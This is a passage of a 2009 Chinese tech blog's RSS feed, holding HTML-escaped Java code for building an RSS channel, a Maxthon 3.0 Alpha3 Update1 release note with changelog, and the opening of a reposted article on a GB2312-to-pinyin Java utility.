id="_103_1220_Open_Image" onclick="function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { this.style.display='none'; document.getElementById('_103_1220_Open_Text').style.display='none'; document.getElementById('_103_1220_Closed_Image').style.display='inline'; document.getElementById('_103_1220_Closed_Text').style.display='inline'; } } } } } } } } }" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" alt="" align="top" /&gt;&lt;img id="_103_1220_Closed_Image" style="DISPLAY: none" onclick="function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { this.style.display='none'; document.getElementById('_103_1220_Closed_Text').style.display='none'; document.getElementById('_103_1220_Open_Image').style.display='inline'; document.getElementById('_103_1220_Open_Text').style.display='inline'; } } } } } } } } }" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" alt="" align="top" /&gt;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;Writer&amp;nbsp;&lt;/span&gt;&lt;span id="_103_1220_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"&gt;...&lt;/span&gt;&lt;span id="_103_1220_Open_Text"&gt;&lt;span style="color: #000000;"&gt;{&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;static&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;void&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;main(String[]&amp;nbsp;args)&amp;nbsp;&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;throws&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;InstantiationException,&amp;nbsp;ClassNotFoundException,&amp;nbsp;&lt;br /&gt;&lt;img id="_252_1217_Open_Image" onclick="function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { this.style.display='none'; document.getElementById('_252_1217_Open_Text').style.display='none'; document.getElementById('_252_1217_Closed_Image').style.display='inline'; document.getElementById('_252_1217_Closed_Text').style.display='inline'; } } } } } } } } }" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockStart.gif" alt="" align="top" /&gt;&lt;img id="_252_1217_Closed_Image" style="DISPLAY: none" onclick="function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { function onclick() { this.style.display='none'; document.getElementById('_252_1217_Closed_Text').style.display='none'; document.getElementById('_252_1217_Open_Image').style.display='inline'; document.getElementById('_252_1217_Open_Text').style.display='inline'; } } } } } } } } }" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedSubBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IllegalAccessException&amp;nbsp;&lt;/span&gt;&lt;span id="_252_1217_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"&gt;...&lt;/span&gt;&lt;span id="_252_1217_Open_Text"&gt;&lt;span style="color: #000000;"&gt;{&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Channel&amp;nbsp;channel&lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;Channel();&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;channel.setDescription(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;This&amp;nbsp;is&amp;nbsp;my&amp;nbsp;sample&amp;nbsp;channel.&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;channel.setLink(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;http://localhost/&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;channel.setTitle(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;My&amp;nbsp;Channel&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;channel.setImage(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;http://localhost/&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&amp;nbsp;&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;The&amp;nbsp;Channel&amp;nbsp;Image&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&amp;nbsp;&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;http://localhost/foo.jpg&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;channel.setTextInput(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;http://localhost/search&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&amp;nbsp;&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;Search&amp;nbsp;The&amp;nbsp;Channel&amp;nbsp;Image&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&amp;nbsp;&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;The&amp;nbsp;Channel&amp;nbsp;Image&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&amp;nbsp;&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;s&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;channel.addItem(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;http://localhost/item1&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;The&amp;nbsp;First&amp;nbsp;Item&amp;nbsp;covers&amp;nbsp;details&amp;nbsp;on&amp;nbsp;the&amp;nbsp;first&amp;nbsp;item&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;The&amp;nbsp;First&amp;nbsp;Item&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;)&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.setDcContributor(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;Joseph&amp;nbsp;B.&amp;nbsp;Ottinger&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;channel.addItem(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;http://localhost/item2&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;The&amp;nbsp;Second&amp;nbsp;Item&amp;nbsp;covers&amp;nbsp;details&amp;nbsp;on&amp;nbsp;the&amp;nbsp;second&amp;nbsp;item&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;The&amp;nbsp;Second&amp;nbsp;Item&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;)&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.setDcCreator(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;Jason&amp;nbsp;Bell&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;);&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;The&amp;nbsp;feed&amp;nbsp;in&amp;nbsp;RDF:&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;channel.getFeed(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;rdf&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;));&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockEnd.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=212</guid><pubDate>Thu, 18 Jun 2009 08:02:19 GMT</pubDate></item><item><title>傲游浏览器3.0 Alpha3 Update1 (3.0.0.119) 发布</title><link>http://www.chendw.cn:8080/view.aspx?id=211</link><description>&lt;p&gt;大家好，还记得小满Alpha3测试开始时我们说过，打算改进新版的发布方式吗？&lt;br /&gt;这个想法今天得到了落实：要发布的版本不是Alpha4，而是Alpha3的第一个update版本。本次Alpha3的update1经历了113-119等7个内部版本，70多处更新及修正。&lt;/p&gt;
&lt;div class="t_msgfont"&gt;引用:&lt;/div&gt;
&lt;div class="quote"&gt;
&lt;blockquote&gt;Alpha3 update1版本相对A3版主要改进在于:&lt;br /&gt;1、Webkit内核升级，JS解析与网页加载速度有了大幅提高；&lt;br /&gt;2、很多网页加载不正常的问题也得到了解决，如某些个人空间、网络邮箱等；&lt;br /&gt;3、从该版开始，在高负荷运行JS脚本时，内存占用也将更少；&lt;br /&gt;4、此外，更多的细节得到了改善：如页面编码可自动检测、文本编辑框可放大缩小、超链接显示更为清晰、论坛登录后可自动跳转等等。&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class="t_msgfont"&gt;&lt;a href="http://dl.maxthon.cn/mx3/mx3.0.0.119.exe"&gt;猛击下载&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;MD5：6c81c6fb37a727dc51be738602db625e&lt;br /&gt;SHA1：b14becf8476f5ab37794988c34e0f31a7e4079dc&lt;/div&gt;
&lt;!--more--&gt;
&lt;div class="t_msgfont"&gt;&lt;br /&gt;&lt;br /&gt;详细更新列表&lt;br /&gt;&lt;br /&gt;[主框架-更新]&lt;br /&gt;&lt;br /&gt;加入中文繁体语言包&lt;br /&gt;0000808：撤销列表逻辑问题&lt;br /&gt;&lt;br /&gt;[主框架-修复]&lt;br /&gt;&lt;br /&gt;解决内核进程崩溃后，主框架进程同时退出的问题&lt;br /&gt;解决内核进程崩溃后无法正确回传主程序版本的问题&lt;br /&gt;解决配置文件读些导致内存泄漏的问题&lt;br /&gt;解决退出时可能导致崩溃的问题&lt;br /&gt;解决退出时无法正常保存 cookie 的问题&lt;br /&gt;0000808：修复了撤销列表逻辑问题&lt;br /&gt;0000748：解决了某些 JS 脚本添加到书签地址中被截断的问题&lt;br /&gt;0000775：解决了打开本层全部网址，不会利用空白页的问题&lt;br /&gt;0000780：解决了空白标签存在与撤销列表内的问题&lt;br /&gt;0000736：解决了一个浏览器焦点问题&lt;br /&gt;&lt;br /&gt;[Webkit核心-更新]&lt;br /&gt;&lt;br /&gt;增加编码自动检测功能&lt;br /&gt;更新内核版本，速度与稳定性大幅提高&lt;br /&gt;0000764：增加文本输入框的放大功能&lt;br /&gt;0000625：调整了超链接文本下划线的显示&lt;br /&gt;0000453：优化了腾讯 QQ 空间的显示&lt;br /&gt;0000529：当访问网站出现问题时，将优先显示服务器返回的错误页面&lt;br /&gt;&lt;br /&gt;[Webkit核心-修复]&lt;br /&gt;&lt;br /&gt;解决了某些网站弹出网页窗口失败的问题&lt;br /&gt;解决了一个清除缓存导致内核不能正常运转的问题&lt;br /&gt;0000759：解决了一个页面的渲染问题&lt;br /&gt;0000762：解决了访问某些网站造成内核阻塞的问题&lt;br /&gt;0000771：解决中文语言时 navigator.language 返回语言错误的问题&lt;br /&gt;0000770：解决了页面输入框右键菜单错误问题&lt;br /&gt;0000761：解决了点击链接打开的新标签时地址栏和标签栏空白的问题&lt;br /&gt;0000433：解决了某些论坛登录后不能自动重定向的问题&lt;br /&gt;0000438：解决了拷贝页面内容，导致某些格式丢失的问题&lt;br /&gt;0000508：解决了 Tooltip 影响拖拽的问题. &lt;br /&gt;0000544：解决访问 126.com 出现异常提示的问题&lt;br /&gt;0000531：解决了某些 Flash 动画显示不正确的问题&lt;br /&gt;0000553：解决了极速模式无法登录本地路由器的问题&lt;br /&gt;0000574：解决了起点文学登录框无法通过按下回车登录的问题&lt;br /&gt;0000578：解决了一些页面排版问题&lt;br /&gt;0000584：解决了插件安装对话框的窗口排序问题&lt;br /&gt;0000632：解决了鼠标中键点击后切换导致标签闪烁的问题&lt;br /&gt;0000792：解决了因为 UA 变化导致某些论坛丢失登录信息的问题&lt;br /&gt;0000793：解决了更新内核后导致&amp;ldquo;页面内查找&amp;rdquo;出现的一些细节问题&lt;br /&gt;0000753：复制带有换行的文本，粘贴后不显示换行&lt;br /&gt;0000789：解决了加载网页过程中有时会弹出下载的问题&lt;br /&gt;0000790：解决了&amp;ldquo;刷新/停止&amp;rdquo;按钮在页面加载完成后仍显示&amp;ldquo;停止&amp;rdquo;状态的问题&lt;br /&gt;0000791：解决了无法上传附件的问题&lt;br /&gt;0000538：解决了一些页面内 Tooltip 的显示问题.&lt;br /&gt;0000259：解决了 Webkit 核心下，不能显示走马灯图片的问题&lt;br /&gt;0000448：解决了不能播放某些Flash视频的问题&lt;br /&gt;0000523：解决了Gmail中的邮件不能按下shift进行多选的问题&lt;br /&gt;0000536：解决了无法使用谷歌文档的问题&lt;br /&gt;0000550：解决了中键滚动页面功能在新浪首页显示不正常的问题&lt;br /&gt;0000585：解决了一个在页面中切换焦点导致崩溃的问题&lt;br /&gt;0000715：解决了一个播放器歌曲联播导致崩溃的问题&lt;br /&gt;0000633：解决了关闭某些浮动广告导致核心崩溃的问题&lt;br /&gt;0000592：解决了新浪邮箱，谷歌邮箱等不能使用完整模式的问题&lt;br /&gt;0000437：解决了 Hotmail 的一些兼容性问题&lt;br /&gt;0000559：解决了 BTchina 无法显示搜索结果的问题&lt;br /&gt;0000463：解决了一些网站的排版问题&lt;br /&gt;0000480：解决了某些网页内 iframe 内容不能显示的问题&lt;br /&gt;0000501：解决了 Cnbeta.com 网站显示不正确的问题&lt;br /&gt;0000502：解决了页面内查找在某些网页不能高亮关键字的问题&lt;br /&gt;0000738：修复了一个严重内存问题&lt;br /&gt;0000734：解决了空白页右键菜单中选择&amp;ldquo;添加到收藏&amp;rdquo;导致崩溃的问题&lt;br /&gt;0000591：解决了滚动条拖拽问题&lt;br /&gt;0000747：解决了打开某网站 cpu 使用率飙升至100%的问题&lt;br /&gt;0000814：解决前进/后退历史列表显示不正常的问题&lt;br /&gt;0000817：解决兼容 ActiveX 导致 Yahoo 邮箱不能登录的问题&lt;br /&gt;0000509：解决访问 &lt;a href="http://www.huanqiu.com/"&gt;http://www.huanqiu.com/&lt;/a&gt; 网页刷新 CPU使用率 过高的问题&lt;br /&gt;0000528：解决工行个人网上银行登录按钮不能操作的问题&lt;br /&gt;&lt;br /&gt;[IE核心-修复]&lt;br /&gt;&lt;br /&gt;0000807：兼容模式，选取论坛加速图片再拖拽，浏览器崩溃&lt;br /&gt;&lt;a href="http://bbs.maxthon.cn/viewthread.php?tid=145172"&gt;鼠标中键造成URL错误&lt;/a&gt;(&amp;amp;字符被替换为%26)&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=211</guid><pubDate>Wed, 17 Jun 2009 07:40:56 GMT</pubDate></item><item><title>根据GB2312汉字区位码获取汉字拼音的工具类[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=210</link><description>&lt;p&gt;&lt;span style="font-size: large;"&gt;原文：&lt;a href="http://chenzugang.javaeye.com/blog/216450"&gt;http://chenzugang.javaeye.com/blog/216450&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: large;"&gt;主要思路： &lt;br /&gt;根据gb2312汉字的区位码，建立区位码与拼音的对应关系，因为一定范围内的汉字区位码的拼音是一样的，例如，如果汉字的区位码在(20317,20319]范围内，那么其拼音为&amp;ldquo;a&amp;rdquo;。 &lt;br /&gt;所以本工具类首先建立连个数组，一个边界放区位码，何谓边界区位码，如20317与20318两个区位码相连续，但是其对应的拼音一个是&amp;ldquo;ai&amp;rdquo;，一个是&amp;ldquo;a&amp;rdquo;，不连续，那么20317就是边界区位码；一个数组存放边界区位码对应的拼音，利用边界区位码作为数组的索引，对应的拼音为值。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size: large;"&gt;&lt;!--more--&gt;&amp;nbsp;&lt;br /&gt;对于给定的汉字，首先计算器区位码，而后根据取上不取下的原则找到其拼音对应的边界区位码，如一个汉字的区位码是20318，那么20318两端的边界区位码一个是20317，一个是20319，根据取上不取下原则，获得20318对应的区位码拼音的边界区位码20319，根据20319获得20318的拼音为&amp;ldquo;a&amp;rdquo;。 &lt;br /&gt;&lt;br /&gt;缺点：字符集不大，仅限于gb312；多音字只对应一个音，如&amp;ldquo;银行&amp;rdquo;，&amp;ldquo;行走&amp;rdquo;中的&amp;ldquo;行&amp;rdquo;字的拼音是一样的，所以如果外部输入都是汉字，由本工具转换为拼音去查同音，没有问题，如果外部输入拼音，就有问题。 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div class="dp-highlighter"&gt;
&lt;div class="bar"&gt;
&lt;div class="tools"&gt;Java代码 &lt;a title="复制代码" onclick="function onclick() { function onclick() { dp.sh.Toolbar.CopyToClipboard(this);return false; } }" href="http://chenzugang.javaeye.com/blog/216450"&gt;&lt;img src="http://chenzugang.javaeye.com/images/icon_copy.gif" alt="复制代码" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class="dp-j"&gt;
&lt;li&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="comment"&gt;/** &lt;/span&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span class="comment"&gt;&amp;nbsp;*&amp;nbsp;GB2313汉字转为对应的拼音的助手类 &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span class="comment"&gt;&amp;nbsp;*&amp;nbsp;&amp;lt;p&amp;gt; &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span class="comment"&gt;&amp;nbsp;*&amp;nbsp;created&amp;nbsp;on&amp;nbsp;2007-10-12&amp;nbsp;下午06:13:03 &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span class="comment"&gt;&amp;nbsp;*&amp;nbsp; &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span class="comment"&gt;&amp;nbsp;*&amp;nbsp;@author&amp;nbsp;chenzugang@gmail.com &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span class="comment"&gt;&amp;nbsp;*&amp;nbsp; &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span class="comment"&gt;&amp;nbsp;*/&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="keyword"&gt;public&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="keyword"&gt;class&lt;/span&gt;&lt;span&gt;&amp;nbsp;GB2312ToAlphaUtil&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
